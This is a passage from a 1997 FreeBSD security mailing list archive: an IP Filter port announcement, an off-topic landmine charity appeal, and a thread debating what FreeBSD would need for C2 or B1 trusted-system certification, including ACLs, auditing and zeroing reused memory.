From owner-freebsd-security Sun Oct 12 09:25:01 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id JAA00414 for security-outgoing; Sun, 12 Oct 1997 09:25:01 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from cwsys.cwent.com (66@cschuber.net.gov.bc.ca [142.31.240.113]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id JAA00398 for ; Sun, 12 Oct 1997 09:24:53 -0700 (PDT) (envelope-from cy@cwsys.cwent.com) Received: (from uucp@localhost) by cwsys.cwent.com (8.8.7/8.6.10) id JAA02804; Sun, 12 Oct 1997 09:24:30 -0700 (PDT) Message-Id: <199710121624.JAA02804@cwsys.cwent.com> Received: from localhost.cwent.com(127.0.0.1), claiming to be "cwsys" via SMTP by localhost.cwent.com, id smtpd002800; Sun Oct 12 16:24:14 1997 X-Mailer: exmh version 2.0gamma 1/27/96 Reply-to: Cy Schubert - ITSD Open Systems Group From: Cy Schubert - ITSD Open Systems Group X-Sender: cschuber To: ipfilter@coombs.anu.edu.au, security@freebsd.org Subject: IP Filter Port Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sun, 12 Oct 1997 09:24:12 -0700 Sender: owner-freebsd-security@freebsd.org X-Loop: FreeBSD.org Precedence: bulk I've created a FreeBSD port of IP Filter 3.2beta7 and have placed it in ftp://ftp.freebsd.org/pub/FreeBSD/incoming/ip_fil3.2beta7-port.tar.gz and ftp://coombs.anu.edu.au/inbound/ip_fil3.2beta7-port.tar.gz. It's not a perfect port, so I'd like to receive some feedback about it's ease of use and any problems you may have with it before I approach the FreeBSD team to have it included in the Ports Collection. The main reason for this port is that I'm involved with installing IP Filter on some Suns at work. To become more familiar with IP Filter, I've decided to install it on my FreeBSD boxes at home. The port will make it easier to deinstall if I need to. Regards, Phone: (250)387-8437 Cy Schubert Fax: (250)387-5766 UNIX Support OV/VM: BCSC02(CSCHUBER) ITSD BITNET: CSCHUBER@BCSC02.BITNET Government of BC Internet: cschuber@uumail.gov.bc.ca Cy.Schubert@gems8.gov.bc.ca "Quit spooling around, JES do it." From owner-freebsd-security Sun Oct 12 17:55:30 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA02687 for security-outgoing; Sun, 12 Oct 1997 17:55:30 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from duesseldorf2 (duesseldorf2.pop.metronet.de [193.168.211.1]) by hub.freebsd.org (8.8.7/8.8.7) with SMTP id RAA02674 for ; Sun, 12 Oct 1997 17:55:25 -0700 (PDT) (envelope-from mgm@metronet.de) Date: Sun, 12 Oct 1997 17:55:25 -0700 (PDT) From: mgm@metronet.de Message-Id: <199710130055.RAA02674@hub.freebsd.org> Received: (qmail 28254 invoked from network); 13 Oct 1997 00:41:18 -0000 Received: from unknown (HELO metronet.de) (192.168.103.57) by pop-mail.metronet.de with SMTP; 13 Oct 1997 00:41:18 -0000 To: mgm@metronet.de Subject: Reply Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk TODAY, walking close to home a little girl will be killed as she steps on a landmine. Tomorrow a farmer will lose his legs and another will be blinded. What difference can 3 days make? Message-ID: <19971013004118.28051.qmail@duesseldorf2> Warning: Sender was mgm@metronet.de Just 3 days ago the "International Campaign to Ban Landmines" received word that the work to ban and clear landmines had been awarded the 1997 Nobel Peace Prize. Unfortunately, this wonderful news made no difference to the dozens of children, farmers and other people who were killed or crippled forever by landmines that exploded in just these past 3 days. A landmine explodes somewhere in the world every 22 minutes. To stop this we must ban their manufacture and use. And clear the mines that are already lying, hidden and waiting to kill. . With a click to http://www.landmine.org you can help to "kill a landmine" - it's so easy. Thank's for your kindness. Yours Christoph Brocks The Humanitarian Foundation of People Against Landmines www.mgm.org info@landmine.org From owner-freebsd-security Mon Oct 13 03:43:18 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id DAA10873 for security-outgoing; Mon, 13 Oct 1997 03:43:18 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from monoid.cs.tcd.ie (monoid.cs.tcd.ie [134.226.38.99]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id DAA10756; Mon, 13 Oct 1997 03:41:56 -0700 (PDT) (envelope-from careilly@monoid.cs.tcd.ie) Received: from monoid.cs.tcd.ie (localhost.my.domain [127.0.0.1]) by monoid.cs.tcd.ie (8.8.5/8.8.5) with ESMTP id LAA08912; Mon, 13 Oct 1997 11:41:10 +0100 (IST) Message-Id: <199710131041.LAA08912@monoid.cs.tcd.ie> To: Douglas Carmichael cc: freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? X-Address: Department of Computer Science, Trinity College, Dublin 2, Ireland. X-Phone: +353-(0)1-6081321 In-reply-to: Message from Douglas Carmichael dated Sunday at 20:25. MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <8907.876739269.1@monoid.cs.tcd.ie> Content-Description: text Date: Mon, 13 Oct 1997 11:41:09 +0100 From: Colman Reilly Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk [cc'ed to security, where it possibly really belongs. On the other hand raises a few issues relevant to hackers. Sorry if you get it twice.] [Disclaimer: I haven't had any coffee yet. This could all be wrong.] Could FreeBSD be made to comply with B1 or C2 trusted system standards FOR REAL (unlike NT that can only comply when not hooked up to a network)? Well, certainly it could achieve C2, though we would need to do a *lot* of documentation and testing work, and we may need to include an ACL list based filesystem, that depends on your reading of the Orange Book. I'm not experienced enough to tell what the "normal" interpretation of the requirement that access should be controllable down to the granularity of a single user is. In principle one can deny access to an object by creating a group with everyone except that user in it and set that to be the object's group but I'm not sure a certification group would consider that adequate. Code to handle the C2 auditing requirements is being worked on by someone whose name I don't have handy on this machine, (sorry). The main problem after that is adding the appropriate code to all the syscalls and the relevant programs. I think it's mostly admin and verification work after that. As for B1: well, that is an interesting problem. Could we hack FreeBSD to include labels? Yes. Can we do it without breaking existing software? I don't know. The problem is that B1 is the first level at which Mandatory Access Control is introduced, which requires that you associate with each object (process, file, whatever) attributes, to include a sensitivity label (top secret, confidential, etc.) and what is essentially a project label. Essentially, information is only allowed to move from an object with a lower or equal sensitivity to one of a higher or equal sensitivity label and not vice versa. (Not exactly correct, but good enough for this discussion.) Now, if we introduce such things we get a somewhat different view of the world than the traditional UNIX-like security model. I do not know if it possible to maintain a good enough match to enable us to continue to easily port UNIX based software to FreeBSD. There are also some formal engineering requirements to be statisfied if I remember rightly. (I don't have the Orange Book to hand, just the equivalent European ITSEC document, which seperates assurance and security claims.) I know there are several UNIX-like B-Class OSes out there, but I'm not sure whether they break the standard UNIX security semantics. Our more experienced brethren would have a better idea and will no doubt express their views in their normal reserved manner. What's my interest? Well, some of you may remember me asking about a security model for FreeBSD a while back. I'm currently working on a mathematical model of the security aspects of the current system, which I'm intending to match against both the implementation of the system and the C2 requirements in order to identify mismatches in either direction. (This, some testing and some documentation would probably take us to something daft like (F-C2,E4), which is equivalent to C2 with rather stronger assurance.) After (if) I get that work done, I'd be intending to look at how extending that model to a B-Class system would affect the semantics of the system and how badly (or if) it would break the existing software. I don't think it has to break any software unless it trys to directly handle security things like password authentication. Now, this is a fairly ambitious project, and I'd be suprised to get past the C2 aspect of it in time for my PhD, but we'll see what happens. >From a practical point of view I wonder how pleased developers would be to have heavy security review requirements hanging over them? I suspect not very. And the requirements for both C2 and B-Class would probably impact performance. If one wanted to produce either a C2 or B-Class system I think it would probably need to be done as a sort of sub-project using a restricted driver set and a restricted ports set and with a different distribution produced which would lag a bit behind the released system. On the other hand any sort of work towards that level of security would greatly increase both the security of the base system and our confidence in it. On the other hand, wouldn't a free A1-class operating system just be so funny? "Mr Gates, please explain why your operating system can't make C2 yet that pack of wasters manage to maintain a free system at A1 certification" The problem with that is the money that the certifaction process would require, of course. Colman From owner-freebsd-security Mon Oct 13 10:05:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA07170 for security-outgoing; Mon, 13 Oct 1997 10:05:09 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from rah.star-gate.com (rah.star-gate.com [204.188.121.18]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA07157; Mon, 13 Oct 1997 10:05:02 -0700 (PDT) (envelope-from hasty@rah.star-gate.com) Received: from rah.star-gate.com (localhost.star-gate.com [127.0.0.1]) by rah.star-gate.com (8.8.7/8.8.5) with ESMTP id KAA00296; Mon, 13 Oct 1997 10:04:26 -0700 (PDT) Message-Id: <199710131704.KAA00296@rah.star-gate.com> To: Colman Reilly cc: Douglas Carmichael , freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-reply-to: Your message of "Mon, 13 Oct 1997 11:41:09 BST." <199710131041.LAA08912@monoid.cs.tcd.ie> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 13 Oct 1997 10:04:25 -0700 From: Amancio Hasty Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >From The Desk Of Colman Reilly : > The problem with that is the money that the certifaction process would > require, of course. So ask the goverment to pay for it or hand out the OS to a goverment agency to certify it for you. Cheers, Amancio From owner-freebsd-security Mon Oct 13 10:46:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id KAA10000 for security-outgoing; Mon, 13 Oct 1997 10:46:41 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.45]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id KAA09992; Mon, 13 Oct 1997 10:46:33 -0700 (PDT) (envelope-from brian@shell.firehouse.net) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id NAA23338; Mon, 13 Oct 1997 13:46:05 -0400 (EDT) Date: Mon, 13 Oct 1997 13:46:02 -0400 (EDT) From: Brian Mitchell To: Colman Reilly cc: Douglas Carmichael , freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-Reply-To: <199710131041.LAA08912@monoid.cs.tcd.ie> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > Could FreeBSD be made to comply with B1 or C2 trusted system standards FOR > REAL (unlike NT that can only comply when not hooked up to a network)? > > Well, certainly it could achieve C2, though we would need to do a *lot* of > documentation and testing work, and we may need to include an ACL list based > filesystem, that depends on your reading of the Orange Book. I'm not > experienced enough to tell what the "normal" interpretation of the > requirement that access should be controllable down to the granularity of a > single user is. In principle one can deny access to an object by creating a > group with everyone except that user in it and set that to be the object's group > but I'm not sure a certification group would consider that adequate. I'm fairly certain acl is _not_ a requirement in the dcl segment of c2. acl is, after all, just another form of group control at its very base. > > Code to handle the C2 auditing requirements is being worked on by someone > whose name I don't have handy on this machine, (sorry). The main problem > after that is adding the appropriate code to all the syscalls and the > relevant programs. Yes, that would be me. And yes, adding the apropriate code to the syscalls is the main problem. > > I think it's mostly admin and verification work after that. > > As for B1: well, that is an interesting problem. Could we hack FreeBSD to > include labels? Yes. Can we do it without breaking existing software? I > don't know. > > The problem is that B1 is the first level at which Mandatory Access Control > is introduced, which requires that you associate with each object (process, > file, whatever) attributes, to include a sensitivity label (top secret, > confidential, etc.) and what is essentially a project label. Essentially, > information is only allowed to move from an object with a lower or equal > sensitivity to one of a higher or equal sensitivity label and not vice > versa. (Not exactly correct, but good enough for this discussion.) > Yup, this is one of the biggest problems. You cant write to an object unless it has a security level that is precisely the same. You can only read unless it is the same or lower. Most people don't come close to needing B level security; and it is arguable if it is useful for commercial systems at all. For those who want to learn more, the final evaluation reports for several trusted unixes are available online. Trusted Xenix being one of the more interesting ones (b2) - TIRIX is also online (b1) and NT (c2). > Now, if we introduce such things we get a somewhat different view of the > world than the traditional UNIX-like security model. I do not know if it > possible to maintain a good enough match to enable us to continue to easily > port UNIX based software to FreeBSD. > Most unix admins dont easily give up the whole idea of the superuser, which would probably be required for B level. > There are also some formal engineering requirements to be statisfied if I > remember rightly. (I don't have the Orange Book to hand, just the equivalent > European ITSEC document, which seperates assurance and security claims.) > > I know there are several UNIX-like B-Class OSes out there, but I'm not sure > whether they break the standard UNIX security semantics. Our more > experienced brethren would have a better idea and will no doubt express > their views in their normal reserved manner. They do, they do. Their level determines how much they break, but even b1 systems dont generally have superusers. Trusted Xenix is just ... bizarre. Sorry, that;s the best description I can come up of it, based on the final eval report. > After (if) I get that work done, I'd be intending to look at how extending > that model to a B-Class system would affect the semantics of the system and > how badly (or if) it would break the existing software. I don't think it > has to break any software unless it trys to directly handle security things > like password authentication. > > Now, this is a fairly ambitious project, and I'd be suprised to get past the > C2 aspect of it in time for my PhD, but we'll see what happens. > > The problem with that is the money that the certifaction process would > require, of course. From owner-freebsd-security Mon Oct 13 14:11:43 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA24122 for security-outgoing; Mon, 13 Oct 1997 14:11:43 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from dworkin.amber.org (mail@dworkin.amber.org [209.31.146.74]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA24104; Mon, 13 Oct 1997 14:11:35 -0700 (PDT) (envelope-from petrilli@dworkin.amber.org) Received: (from mail@localhost) by dworkin.amber.org (8.8.7/8.8.7) id RAA29578; Mon, 13 Oct 1997 17:10:39 -0400 (EDT) Message-Id: <199710132110.RAA29578@dworkin.amber.org> X-Authentication-Warning: dworkin.amber.org: mail set sender to using -f Received: from ab1-02.dial.nova.org(209.31.144.162) by dworkin.amber.org via smap (V1.3) id sma029575; Mon Oct 13 17:10:34 1997 Subject: Re: C2 Trusted FreeBSD? Date: Mon, 13 Oct 97 17:09:09 -0400 x-sender: petrilli@dworkin.amber.org x-mailer: Claris Emailer 2.0, March 15, 1997 From: Christopher Petrilli To: "Brian Mitchell" , "Colman Reilly" cc: "Douglas Carmichael" , , Mime-Version: 1.0 Content-Type: text/plain; charset="US-ASCII" Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk >I'm fairly certain acl is _not_ a requirement in the dcl segment of c2. >acl is, after all, just another form of group control at its very base. It is not "mandatory," however the following paragraph exerpted from the TCSEC does make it clear that the exisintg group mechanism is NOT acceptable: "The access controls shall be capable of including or excluding access to the granulairty of a single user." This exclusion part is what makes it very difficult. You must be capable of giving access to everyone BUT a specific user. While theoretically I guess you could do it by managing billions of sepereate groups, I think it would fail none the less because of practical enforcement concerns. THat having been said, there is one other requirement that would need to be addressed: * Object Reuse (2.2.1.2) THis is defined as follows: "All authorizations to the information contained iwthin a storage object shall be revoked prior to initial assignment, allocation or reallocation to a subject from the TCB's pool of unused storage objects. No information, including encrypted representations of information, produced by a prior subject's actions is to be available to any subject that obtains access to an object that has been released back to the system." Basically, we need to purge all memor when it is allocated, or deallocated. Other than that, it's mostly documentation, and audit. I would really prefer to do an ACL extension to the file system, as I think it's useful as it is :-) Chris -- | Christopher Petrilli "That's right you're | petrilli@amber.org not from Texas." From owner-freebsd-security Mon Oct 13 14:16:38 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA24566 for security-outgoing; Mon, 13 Oct 1997 14:16:38 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from shell.firehouse.net (brian@shell.firehouse.net [209.42.203.45]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA24552; Mon, 13 Oct 1997 14:16:31 -0700 (PDT) (envelope-from brian@shell.firehouse.net) Received: from localhost (brian@localhost) by shell.firehouse.net (8.8.5/8.8.5) with SMTP id RAA24215; Mon, 13 Oct 1997 17:15:59 -0400 (EDT) Date: Mon, 13 Oct 1997 17:15:55 -0400 (EDT) From: Brian Mitchell To: Christopher Petrilli cc: Colman Reilly , Douglas Carmichael , freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? In-Reply-To: <199710132110.RAA29578@dworkin.amber.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk On Mon, 13 Oct 1997, Christopher Petrilli wrote: > >I'm fairly certain acl is _not_ a requirement in the dcl segment of c2. > >acl is, after all, just another form of group control at its very base. > > It is not "mandatory," however the following paragraph exerpted from the > TCSEC does make it clear that the exisintg group mechanism is NOT > acceptable: > > "The access controls shall be capable of including or excluding > access > to the granulairty of a single user." > > This exclusion part is what makes it very difficult. You must be capable > of giving access to everyone BUT a specific user. While theoretically I > guess you could do it by managing billions of sepereate groups, I think > it would fail none the less because of practical enforcement concerns. no, it isnt. make a group, put users that cant access it in the group, chmod g-rwx file bang, groups are perfectly able of supporting the needed dac > > THat having been said, there is one other requirement that would need to > be addressed: > > * Object Reuse (2.2.1.2) > > THis is defined as follows: > > "All authorizations to the information contained iwthin a storage object > shall be revoked prior to initial assignment, allocation or reallocation > to a subject from the TCB's pool of unused storage objects. No > information, including encrypted representations of information, produced > by a prior subject's actions is to be available to any subject that > obtains access to an object that has been released back to the system." > > Basically, we need to purge all memor when it is allocated, or > deallocated. > yah, when we release something back into a system, we have to bzero() the contents, or something similar. > Other than that, it's mostly documentation, and audit. I would really > prefer to do an ACL extension to the file system, as I think it's useful > as it is :-) > I think it is useful as well, I just dont think it is a c2 requirement. From owner-freebsd-security Mon Oct 13 14:56:09 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id OAA27193 for security-outgoing; Mon, 13 Oct 1997 14:56:09 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from monoid.cs.tcd.ie (monoid.cs.tcd.ie [134.226.38.99]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id OAA27157 for ; Mon, 13 Oct 1997 14:56:02 -0700 (PDT) (envelope-from careilly@monoid.cs.tcd.ie) Received: from monoid.cs.tcd.ie (localhost.my.domain [127.0.0.1]) by monoid.cs.tcd.ie (8.8.5/8.8.5) with ESMTP id WAA16921; Mon, 13 Oct 1997 22:50:26 +0100 (IST) Message-Id: <199710132150.WAA16921@monoid.cs.tcd.ie> To: Brian Mitchell cc: freebsd-security@FreeBSD.ORG Subject: Re: C2 Trusted FreeBSD? X-Address: Department of Computer Science, Trinity College, Dublin 2, Ireland. X-Phone: +353-(0)1-6081321 In-reply-to: Message from Brian Mitchell dated today at 17:15. MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-ID: <16916.876779425.1@monoid.cs.tcd.ie> Date: Mon, 13 Oct 1997 22:50:26 +0100 From: Colman Reilly Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > This is defined as follows: > "All authorizations to the information contained iwthin a storage object > shall be revoked prior to initial assignment, allocation or reallocation > to a subject from the TCB's pool of unused storage objects. No > information, including encrypted representations of information, produce d > by a prior subject's actions is to be available to any subject that > obtains access to an object that has been released back to the system." > > Basically, we need to purge all memor when it is allocated, or > deallocated. > yah, when we release something back into a system, we have to bzero() the contents, or something similar. Well, no we need to ensure that they're zeroed before anyone lese gets them. How much does bzero() cost? I was wondering if it would be more efficient to do a background garbage collector style thing that would zero things in idle time and would only zero stuff on demand if it hand't been cleared. Colman From owner-freebsd-security Mon Oct 13 17:30:36 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA05740 for security-outgoing; Mon, 13 Oct 1997 17:30:36 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from smtp03.primenet.com (smtp03.primenet.com [206.165.5.84]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA05704; Mon, 13 Oct 1997 17:30:26 -0700 (PDT) (envelope-from tlambert@usr07.primenet.com) Received: (from daemon@localhost) by smtp03.primenet.com (8.8.7/8.8.7) id RAA28197; Mon, 13 Oct 1997 17:30:17 -0700 (MST) Received: from UNKNOWN(206.165.6.207), claiming to be "usr07.primenet.com" via SMTP by smtp03.primenet.com, id smtpd028190; Tue Oct 14 00:30:13 1997 Received: (from tlambert@localhost) by usr07.primenet.com (8.8.5/8.8.5) id RAA15890; Mon, 13 Oct 1997 17:30:12 -0700 (MST) From: Terry Lambert Message-Id: <199710140030.RAA15890@usr07.primenet.com> Subject: Re: C2 Trusted FreeBSD? To: brian@firehouse.net (Brian Mitchell) Date: Tue, 14 Oct 1997 00:30:12 +0000 (GMT) Cc: careilly@monoid.cs.tcd.ie, dcarmich@mcs.com, freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG In-Reply-To: from "Brian Mitchell" at Oct 13, 97 01:46:02 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > For those who want to learn more, the final evaluation reports for several > trusted unixes are available online. Trusted Xenix being one of the more > interesting ones (b2) - TIRIX is also online (b1) and NT (c2). [ ... ] You can not certify an OS. You can only certify an OS installed on a platform. Each different piece of hardware you run it on requires a seperate certification. The certification costs are just the man hours required to run the tests, for what that's worth. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-security Mon Oct 13 17:33:41 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA06026 for security-outgoing; Mon, 13 Oct 1997 17:33:41 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from fly.HiWAAY.net (root@fly.HiWAAY.net [208.147.154.56]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA06014 for ; Mon, 13 Oct 1997 17:33:35 -0700 (PDT) (envelope-from dkelly@nospam.hiwaay.net) Received: from nospam.hiwaay.net (tnt2-241.HiWAAY.net [208.147.148.241]) by fly.HiWAAY.net (8.8.7/8.8.6) with ESMTP id TAA08677 for ; Mon, 13 Oct 1997 19:33:26 -0500 (CDT) Received: from localhost (localhost [127.0.0.1]) by nospam.hiwaay.net (8.8.7/8.8.4) with ESMTP id TAA10222 for ; Mon, 13 Oct 1997 19:07:00 -0500 (CDT) Message-Id: <199710140007.TAA10222@nospam.hiwaay.net> X-Mailer: exmh version 2.0zeta 7/24/97 To: freebsd-security@FreeBSD.ORG From: dkelly@hiwaay.net Subject: Re: C2 Trusted FreeBSD? In-reply-to: Message from Christopher Petrilli of "Mon, 13 Oct 1997 17:09:09 EDT." <199710132110.RAA29578@dworkin.amber.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Mon, 13 Oct 1997 19:07:00 -0500 Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk (trimmed to -security only) Christopher Petrilli writes: > > THat having been said, there is one other requirement that would need to > be addressed: > > * Object Reuse (2.2.1.2) > > THis is defined as follows: > > "All authorizations to the information contained iwthin a storage object > shall be revoked prior to initial assignment, allocation or reallocation > to a subject from the TCB's pool of unused storage objects. No > information, including encrypted representations of information, produced > by a prior subject's actions is to be available to any subject that > obtains access to an object that has been released back to the system." > > Basically, we need to purge all memor when it is allocated, or > deallocated. I haven't been able to prove this isn't done already in FreeBSD. Had to write for our security officer some trivial code to explore and demonstrate what happens when a process steps outside of its allocated memory. Ran it under Solaris 2.5.1, Irix 6.2, and FreeBSD 2.2. Everything (that didn't "segmentation violation") came up zeros. Now I'd be the last person to claim this proved anything other than the fact that I'm able to write programs that signal-11. :-) Remember finding in the documentation for Trusted Irix where they were discussing item by item how Trusted Irix meets spec (NISPOM or Orange book, I forget) there was a specific mention that Irix did not clear objects on release, but always cleared prior to allocation. The certifying agency accepted this deviation. As others have mentioned, one doesn't really have a C2, B1, or A1 system unless one exactly replicates the certified system, hardware, and configuration. From what I've seen a Security Officer outlines what is expected in the way of security features and procedures. Then expects the adminstrator of the system to formally document how the system will comply. So SGI and Sun write security manuals with an eye for being quoted. Depends on your environment, but a Security Officer may accept the claims of an administrator that his documented procedures and software meets the security requirements, even without formal compliance certification. The One Thing FreeBSD lacks that has prevented me from attempting to place it in a particular environment is audit trails. Specifically we only need to log all "access denied" failures, such as the above mentioned segmentation violations, file access, priviledged opcodes, etc. Don't believe I was required to, but did anyway, log setuid transitions. -- David Kelly N4HHE, dkelly@hiwaay.net ===================================================================== The human mind ordinarily operates at only ten percent of its capacity -- the rest is overhead for the operating system. From owner-freebsd-security Mon Oct 13 17:42:55 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id RAA06833 for security-outgoing; Mon, 13 Oct 1997 17:42:55 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from smtp03.primenet.com (smtp03.primenet.com [206.165.5.84]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id RAA06813; Mon, 13 Oct 1997 17:42:51 -0700 (PDT) (envelope-from tlambert@usr07.primenet.com) Received: (from daemon@localhost) by smtp03.primenet.com (8.8.7/8.8.7) id RAA29929; Mon, 13 Oct 1997 17:42:51 -0700 (MST) Received: from UNKNOWN(206.165.6.207), claiming to be "usr07.primenet.com" via SMTP by smtp03.primenet.com, id smtpd029915; Tue Oct 14 00:42:43 1997 Received: (from tlambert@localhost) by usr07.primenet.com (8.8.5/8.8.5) id RAA16597; Mon, 13 Oct 1997 17:42:43 -0700 (MST) From: Terry Lambert Message-Id: <199710140042.RAA16597@usr07.primenet.com> Subject: Re: C2 Trusted FreeBSD? To: brian@firehouse.net (Brian Mitchell) Date: Tue, 14 Oct 1997 00:42:39 +0000 (GMT) Cc: petrilli@amber.org, careilly@monoid.cs.tcd.ie, dcarmich@mcs.com, freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG In-Reply-To: from "Brian Mitchell" at Oct 13, 97 05:15:55 pm X-Mailer: ELM [version 2.4 PL23] Content-Type: text Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Basically, we need to purge all memor when it is allocated, or > > deallocated. > > yah, when we release something back into a system, we have to bzero() the > contents, or something similar. This is interesting. Can you give a small sample program for accessing data from another program? As far as I know, pages are either filled from a swap store (and contain data accessable to you) or zero-filled; I can't think of a way (off the top of my head) to make this not true. Terry Lambert terry@lambert.org --- Any opinions in this posting are my own and not those of my present or previous employers. From owner-freebsd-security Mon Oct 13 18:20:26 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA08908 for security-outgoing; Mon, 13 Oct 1997 18:20:26 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from ns1.yes.no (ns1.yes.no [195.119.24.10]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA08886; Mon, 13 Oct 1997 18:20:18 -0700 (PDT) (envelope-from eivind@bitbox.follo.net) Received: from bitbox.follo.net (bitbox.follo.net [194.198.43.36]) by ns1.yes.no (8.8.7/8.8.7) with ESMTP id BAA12696; Tue, 14 Oct 1997 01:19:59 GMT Received: (from eivind@localhost) by bitbox.follo.net (8.8.6/8.8.6) id DAA13984; Tue, 14 Oct 1997 03:19:54 +0200 (MET DST) Date: Tue, 14 Oct 1997 03:19:54 +0200 (MET DST) Message-Id: <199710140119.DAA13984@bitbox.follo.net> From: Eivind Eklund To: Brian Mitchell CC: petrilli@amber.org, careilly@monoid.cs.tcd.ie, dcarmich@mcs.com, freebsd-hackers@FreeBSD.ORG, freebsd-security@FreeBSD.ORG In-reply-to: Brian Mitchell's message of Mon, 13 Oct 1997 17:15:55 -0400 (EDT) Subject: Re: C2 Trusted FreeBSD? References: <199710132110.RAA29578@dworkin.amber.org> Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk > > Basically, we need to purge all memor when it is allocated, or > > deallocated. > > > yah, when we release something back into a system, we have to bzero() the > contents, or something similar. Something like that already done, AFAIK. Doing anything else would be a serious security break no matter whether we wanted a security branding. Eivind. From owner-freebsd-security Mon Oct 13 18:29:42 1997 Return-Path: Received: (from root@localhost) by hub.freebsd.org (8.8.7/8.8.7) id SAA09582 for security-outgoing; Mon, 13 Oct 1997 18:29:42 -0700 (PDT) (envelope-from owner-freebsd-security) Received: from henry.cs.adfa.oz.au (henry.cs.adfa.oz.au [131.236.21.158]) by hub.freebsd.org (8.8.7/8.8.7) with ESMTP id SAA09564 for ; Mon, 13 Oct 1997 18:29:26 -0700 (PDT) (envelope-from wkt@henry.cs.adfa.oz.au) Received: (from wkt@localhost) by henry.cs.adfa.oz.au (8.7.5/8.7.3) id LAA09227 for freebsd-security@FreeBSD.ORG; Tue, 14 Oct 1997 11:29:45 +1000 (EST) From: Warren Toomey Message-Id: <199710140129.LAA09227@henry.cs.adfa.oz.au> Subject: Re: Zeroing pages, was Re: C2 Date: Tue, 14 Oct 1997 11:29:45 +1000 (EST) Cc: freebsd-security@FreeBSD.ORG In-Reply-To: <199710140042.RAA16597@usr07.primenet.com> from Terry Lambert at "Oct 14, 97 00:42:39 am" Reply-To: wkt@cs.adfa.oz.au X-Mailer: ELM [version 2.4ME+ PL22 (25)] MIME-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-security@FreeBSD.ORG X-Loop: FreeBSD.org Precedence: bulk In article by Terry Lambert: > > > Basically, we need to purge all memory when it is allocated, or > > > deallocated. > This is interesting. Can you give a small sample program for accessing > data from another program? As far as I know, pages are either filled > from a swap store (and contain data accessable to you) or zero-filled; > I can't think of a way (off the top of my head) to make this not true. > Terry Lambert There's no way of 